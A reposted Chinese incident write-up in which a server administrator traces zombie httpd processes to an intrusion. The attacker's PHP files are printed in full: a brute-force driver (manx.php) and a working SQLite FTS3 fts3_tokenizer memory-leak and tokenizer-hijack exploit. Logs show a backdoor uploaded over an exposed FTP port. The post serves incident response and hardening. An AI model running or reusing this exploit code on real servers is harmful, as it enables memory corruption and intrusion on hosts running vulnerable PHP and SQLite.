一次linux服务器报警有大量僵尸进程的问题处理
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了一次linux服务器报警有大量僵尸进程的问题处理，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含12712字，纯文字阅读大概需要19分钟。
内容图文
服务器报警有二十多个僵尸进程
1.当时是想可能是服务器经常有人传文件时间久了容易产生僵尸进程，于是上去就结束了这些僵尸进程，发现马上又起来了多个僵尸进程，往复几次后发现这些进程根本就杀不死
而批量杀死所有僵尸进程可使用如下命令：
ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
ps -ef|more 看到大量如下进程
[down:/usr/local]# ps -ef|grep httpd
apache 29720 8320 0 18:13 ? 00:00:00 /usr/local/httpd-2.2.26/bin/httpd -k start apache 29859 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29860 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29861 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29862 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29863 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29864 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29865 8320 0 18:13 ? 00:00:00 [httpd] <defunct> apache 29866 8320 0 18:13 ? 00:00:00 [httpd] <defunct> [down:/usr/local/worksh]# ps -ef|grep rotate root 37889 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/access.log.%Y-%m-%d 86400 root 37890 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/md5.chinasoft.cn_access.log.%Y-%m-%d 86400 root 37891 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/rsyncbetweenservers.chinasoft.com_access.log.%Y-%m-%d 86400 root 37892 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/downpool.chinasoft.cc_access.log.%Y-%m-%d 86400 root 37893 8320 0 19:22 ? 00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/down.chinasoft.tw_access.log.%Y-%m-%d 86400 ...
# 看了下apache的错误日志
大量的rotatelogs进程是apache产生的，httpd进程就是僵尸状态
在网上找了资料，说是有可能内存泄露，需要清理一下缓存，清理后问题依旧，且服务器内存充足，排除这个问题，那就应该是php程序引发的了
[down:/usr/local]# tail -f /data/www/logs/apache_log/error/error.log.2021-01-28 [Thu Jan 28 18:14:16 2021] [notice] child pid 31134 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31135 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31136 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31137 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31138 exit signal Segmentation fault (11) [Thu Jan 28 18:14:16 2021] [notice] child pid 31139 exit signal Segmentation fault (11)
2.看了一下nginx访问量比较大站点的日志，发现有类似如下访问，看日志就发现有异常
manx.php
46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776 46.18.204.142 - - [28/Jan/2021:16:56:19 -0800] - - "GET /intel/manx.php?f=139937140374209&t=139937140379008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.693 46.18.204.142 - - [28/Jan/2021:16:56:28 -0800] - - "GET /intel/manx.php?f=139937140369409&t=139937140374208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.766 46.18.204.142 - - [28/Jan/2021:16:56:38 -0800] - - "GET /intel/manx.php?f=139937140364609&t=139937140369408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.755 46.18.204.142 - - [28/Jan/2021:16:56:48 -0800] - - "GET /intel/manx.php?f=139937140359809&t=139937140364608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.696 46.18.204.142 - - [28/Jan/2021:16:56:57 -0800] - - "GET /intel/manx.php?f=139937140355009&t=139937140359808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.759 46.18.204.142 - - [28/Jan/2021:16:57:07 -0800] - - "GET /intel/manx.php?f=139937140350209&t=139937140355008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.719 46.18.204.142 - - [28/Jan/2021:16:57:16 -0800] - - "GET /intel/manx.php?f=139937140345409&t=139937140350208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.775 46.18.204.142 - - [28/Jan/2021:16:57:25 -0800] - - "GET /intel/manx.php?f=139937140340609&t=139937140345408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.767 46.18.204.142 - - [28/Jan/2021:16:57:35 -0800] - - "GET /intel/manx.php?f=139937140335809&t=139937140340608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.704 46.18.204.142 - - [28/Jan/2021:16:57:45 -0800] - - "GET /intel/manx.php?f=139937140331009&t=139937140335808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.758 46.18.204.142 - - [28/Jan/2021:16:57:54 -0800] - - "GET /intel/manx.php?f=139937140326209&t=139937140331008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.773
inter.php的日志
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750048 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750064 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750080 HTTP/1.1" 502 647 "-" "-" 0.004 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750096 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750112 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750128 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750144 HTTP/1.1" 502 647 "-" "-" 0.004 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750160 HTTP/1.1" 502 647 "-" "-" 0.002 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750176 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750192 HTTP/1.1" 502 647 "-" "-" 0.003 127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750208 HTTP/1.1" 502 647 "-" "-" 0.002
在服务器上找到如下代码，虽然看不懂，但是大概能猜出来，内存泄露和这些程序有关，直接删掉，僵尸进程就不会继续产生了，问题得到控制
manx.php
<?php
$start = $_GET["f"];
$end = $_GET["t"];
for($i=$start;$i<=$end;$i++){
if($i%16==0){
$ch = curl_init('http://127.0.0.1/intel/intel.php?s='.$i);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: down.chinasoft.com'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
}
}
?>
inter.php
<?php
$db = new SQLite3(':memory:');
$offset1 = -0x5810;
$offset2 = -0x16b0;
function flip($val) {
$len = strlen($val);
$result = '';
for ($i = $len; $i > 2; $i-=2) {
$result .= substr($val, $i - 2, 2);
}
$result .= substr($val, 0, $i);
$result .= str_repeat('0', 16 - $len);
return $result;
}
$simpleCreate = intval($_GET["s"]);
$sC = flip(sprintf('%016X', $simpleCreate));
$sExtra = "A07D480000000000709F5F0000000000B07D480000000000D03F4C0000000000";
$h = fopen("all.txt","a");
fwrite($h, $simpleCreate.PHP_EOL);
fclose($h);
$query = "INSERT INTO vt VALUES (x'"."4142434444434241"."0000000000000000".$sC.$sExtra."');";
$a1 = $db->querySingle("CREATE VIRTUAL TABLE vt USING FTS3(content TEXT);");
$a2 = $db->querySingle($query);
$a3 = $db->querySingle("SELECT hex(vt) FROM vt WHERE content MATCH (x'4142434444434241');");
$leak = intval(flip($a3), 16);
$fake_token1 = dechex($leak + $offset1 + 8);
$fake_token2 = dechex($leak + $offset2 + 8);
$query = "SELECT hex(fts3_tokenizer('simple'));";
$real_token = flip($db->querySingle($query));
$query = "SELECT hex(fts3_tokenizer('simple', x'" . flip(sprintf('%016X', $leak + $offset1 + 8)) . "'));";
$new_token = flip($db->querySingle($query), true);
$query = "CREATE VIRTUAL TABLE vt2 USING fts3;";
$rc = $db->querySingle($query);
$h = fopen("valid.txt","a");
fwrite($h, $simpleCreate.PHP_EOL);
fclose($h);
?>
3.这些程序是怎么来的? 直觉告诉我服务器被黑了
因为是下载服务器，php这种可以执行程序的文件很少，找了一下所有的php文件，发现 filmp.php 这个文件名有点问题，访问了一下这个文件，一看就知道是后门，且加密了，看了下文件的时间发现是 2008年12月左右上传的，说明这个后门存在了十多年
[/www]# find /www -type f -name "*.php" /www/down.chinasoft.kr/httpdocs/down_new.php /www/down.chinasoft.co.jp/httpdocs/down_new.php /www/down.nl.chinasoft.com/httpdocs/down_new.php /www/down.chinasoft.com/httpdocs/affiliates/presentation-pro/filmp.php /www/down.chinasoft.com/httpdocs/down.php /www/down.chinasoft.com/httpdocs/down_new.php /www/down.chinasoft.com/httpdocs/temp/upgrade.inc.php /www/down.chinasoft.com/httpdocs/drfonefull/daemon/CheckDaemonVersionName.php
过滤了一下这个文件的日志，发现有访问记录
5.61.38.182 - - [28/Jan/2021:16:01:48 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.604 5.61.38.182 - - [28/Jan/2021:16:02:32 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.597 5.61.38.182 - - [28/Jan/2021:16:03:59 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1254 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.283 5.61.38.182 - - [28/Jan/2021:16:06:54 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.026 5.61.38.182 - - [28/Jan/2021:16:06:55 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1096 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.019 5.61.38.182 - - [28/Jan/2021:16:07:00 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 2799 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 5.61.38.182 - - [28/Jan/2021:16:10:24 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 235 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.025 5.61.38.182 - - [28/Jan/2021:16:10:27 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 5.61.38.182 - - [28/Jan/2021:16:16:10 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1099 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.287 5.61.38.182 - - [28/Jan/2021:16:41:45 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1100 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.389 5.61.38.182 - - [28/Jan/2021:16:41:49 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.913 5.61.38.182 - - [28/Jan/2021:17:20:47 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.828
看了下ftp的日志发现有记录
[down:/usr/local/proftpd/var]# grep -ri "filmp.php" transfer.log |more [20/Jan/2021:18:13:36 +0000] 46.18.204.142 down.chinasoft.com STOR /www/down.chinasoft.com/httpdocs/filmp.php 226 111026 Wed Jan 20 18:13:36 2021 0 46.18.204.142 111026 /www/down.chinasoft.com/httpdocs/filmp.php a _ i r down.chinasoft.com ftp 0 * c
ftp中的ip地址和nginx访问中的ip地址对应上了，攻击导致内存溢出的文件应该是通过ftp上传的
46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776
看了下防火墙的配置，发现ftp端口对外开放了，要么是ftp有漏洞，要么账号密码被人破解了，于是关闭ftp对外的开放
如果不是因为程序异常可能这个后门短时间内不会被发现，需要保持一定的敏感度
问题的处理流程
1.通过top iftop netstat
ps -ef|more
查看系统的基本情况
2.根据nginx,apache日志，ftp、业务日志能看出一些基本的问题
3.全面杀毒，扫描webshell等后门程序
4.对不必要的端口进行关闭，并对其他类似服务器进行扫描和关闭
内容总结
以上是互联网集市为您收集整理的一次linux服务器报警有大量僵尸进程的问题处理全部内容，希望文章能够帮你解决一次linux服务器报警有大量僵尸进程的问题处理所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。
来源：【匿名】